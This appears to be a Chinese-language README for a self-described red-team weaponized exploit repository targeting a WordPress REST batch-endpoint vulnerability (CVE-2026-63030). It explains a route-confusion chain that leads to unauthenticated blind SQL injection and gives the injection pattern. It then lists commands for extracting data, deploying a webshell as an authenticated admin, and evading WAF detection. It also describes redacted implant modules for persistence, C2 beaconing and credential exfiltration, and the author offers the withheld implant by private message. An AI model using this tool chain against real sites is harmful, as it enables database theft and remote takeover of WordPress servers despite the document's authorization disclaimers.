一个完全红队(进攻性安全)武器化的 wp2shell 变体,专为授权渗透测试和教育目的而构建。
一个独立的 PoC,用于演示通过 WordPress REST 批处理端点(/wp-json/batch/v1)可触发的未认证盲 SQL 注入。它基于已公开的漏洞机制独立实现。
官方公告:WordPress 安全发布 | CVE-2026-63030
作者:J4ck3LSyN
致谢:CFSD、NFK 和 C4b1NKr3W
注意: 出于显而易见的法律原因,我没有随附相关的 武器化
r00t.py持久化植入模块。 如需获取,可通过 x 私信我
[!WARNING]
本代码按“原样”提供,仅用于教育和研究目的。 请勿在生产系统、共享环境或任何未授权目标上使用此 PoC。
- 运行或托管此代码可能触发防病毒软件检测、安全监控告警,或在被滥用时导致法律后果。
- 作者和仓库维护者 不对 因使用本代码而导致的任何损害、滥用或非法活动承担责任。
- 仅在具备适当授权的隔离实验室环境中使用。 仅限防御性研究、漏洞分析和蓝队测试使用。
poc.py - 主要 PoC 命令行工具(check、read、shell 模式)val.py - 轻量级被动漏洞验证器()val.py <target>MITIGATIONS.md - 全面的缓解与加固指南LETHALITY.html - 可视化能力杀伤力矩阵(热力图 + 杀伤链)LICENSE - MIT 许可证r00t.py:已删减 - 主要植入编排器(将所有部分整合在一起)modules/ - 后渗透植入模块exploit.py - 核心利用逻辑(SQLi + RCE 原语)privesc.py:已删减 - 本地权限提升检查(DirtyCOW、sudo、capabilities 等)lpe_byond.py:已删减 - 使用 BYOVD + eBPF 技术的高级 LPE(操作员门控)recon.py:已删减 - 主机画像与枚举persistence.py:已删减 - 持久化机制(systemd、cron、SSH 密钥)c2.py:已删减 - 加密 C2 信标(HTTPS + DoH)exfil.py:已删减 - 凭据收集与数据外泄stealth.py:已删减 - 反分析、沙箱检测与混淆| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
详情请参阅官方 WordPress 安全发布说明。
批处理端点在一次调用中分发多个子请求,并独立验证和检查每个子请求的权限。当某个子请求路径未通过 wp_parse_url() 时,它会被追加到验证数组中,但 不会 被追加到已匹配处理程序数组中。这两个数组失去同步,后续子请求会在 另一个 子请求的处理程序下被分发。这就是路由混淆。
此 PoC 将该原语嵌套了两次:
requests 请求体的 POST /wp/v2/posts 请求会在批处理处理程序自身下被分发。由于已被验证为 posts 请求,其内部的 requests 列表永远不会再针对批处理架构(schema)进行复查,因此内部子请求可以使用 GET(绕过方法白名单)。author_exclude=... 的 GET /wp/v2/users 请求会在 posts get_items() 下被分发。users 集合架构中没有 author_exclude 参数,因此该值原样通过验证。posts get_items() 将 author_exclude 映射到 WP_Query 的 author__not_in 查询变量,而受影响的版本会将其作为原始字符串直接插入 SQL。最终汇点(sink)是一个认证前的布尔型/时间型盲 SQL 注入:
... post_author NOT IN (<value>) ...
值为 0) <sql>-- - 时,会闭合 IN() 列表并追加任意 SQL。
该 PoC 采用默认关闭(fail-closed)机制。三道运行时门禁可防止意外或超出范围的执行。所有门禁均在 modules/exploit.py 中强制执行;poc.py 中的 CLI 仅负责传递。
| 标志 | 作用范围 | 缺失时的效果 |
|---|---|---|
--authorized | 所有网络 I/O | 在任何发送前引发 AuthorizationError |
--noop | 所有子命令 | 构建/打印载荷;不进行网络通信 |
--max-requests | BatchClient | 硬性请求预算 |
--r00t | shell 子命令 | 不提供认证后的 RCE 能力 |
AuthorizationError 在 BatchClient._ensure_authorized()、AdminSession._ensure_authorized() 和 AdminSession._ensure_r00t() 中被引发。BatchClient._count() 在套接字打开 之前 强制执行 --max-requests。--r00t 是能力分隔符:未包含它发布的构建无法部署或执行 webshell。shell 的凭据处理:管理员用户名/密码从 --user / --password,或环境变量 / 安全文件中解析。
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # basic sanity check
要求:Python 3.11+,仅使用标准库(无 pip 依赖)。
python3 poc.py <command> <url> [flags]
常用标志(所有子命令):
--authorized Assert you own / are authorized to test <url>. Required to send.
--noop Build/validate payloads without sending (no network contact).
--max-requests N Hard cap on requests to the target.
--rest-route Use /?rest_route=/batch/v1 instead of /wp-json/batch/v1.
--timeout FLOAT Request timeout (default 30).
--proxy URL HTTP(S) proxy.
--insecure Disable TLS certificate verification.
check - 确认漏洞(非破坏性)read - 盲 SQL 数据提取shell - 认证后的 webshell 辅助工具(需要 --r00t)validate - 被动标识器快速参考
| 目标 | 命令 |
|---|---|
| 预览探测载荷 | python3 poc.py check <url> --noop |
| 确认漏洞 | python3 poc.py check <url> --authorized |
| 主动时序验证 | ... check <url> --authorized --confirm-sqli |
| 预览 SQLi 载荷 | python3 poc.py read <url> --noop --query "SELECT @@version" |
| 提取数据 | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| 预览 webshell 工件 | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| 部署并执行(已授权) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| 被动扫描 | python3 poc.py validate <url> --authorized |
完整的命令文档请参阅原始详细章节(或运行 python3 poc.py --help)。
jitter)和每个样本变化多端的 SLEEP 值可绕过固定节奏/固定差值的 WAF/NDR 行为分析。后渗透模块(
recon、privesc、exfil、persistence、stealth、c2、lpe_byond)和r00t.py构成独立的植入链,该链路 不 属于面向网络的 PoC 的一部分,并有意从共享构建中排除。它们不在本文档的范围内。
本项目基于 MIT 许可证 授权。详情请参阅 LICENSE。
免责声明:仅可在您拥有或明确获得授权测试的系统上使用。作者对任何滥用行为不承担任何责任。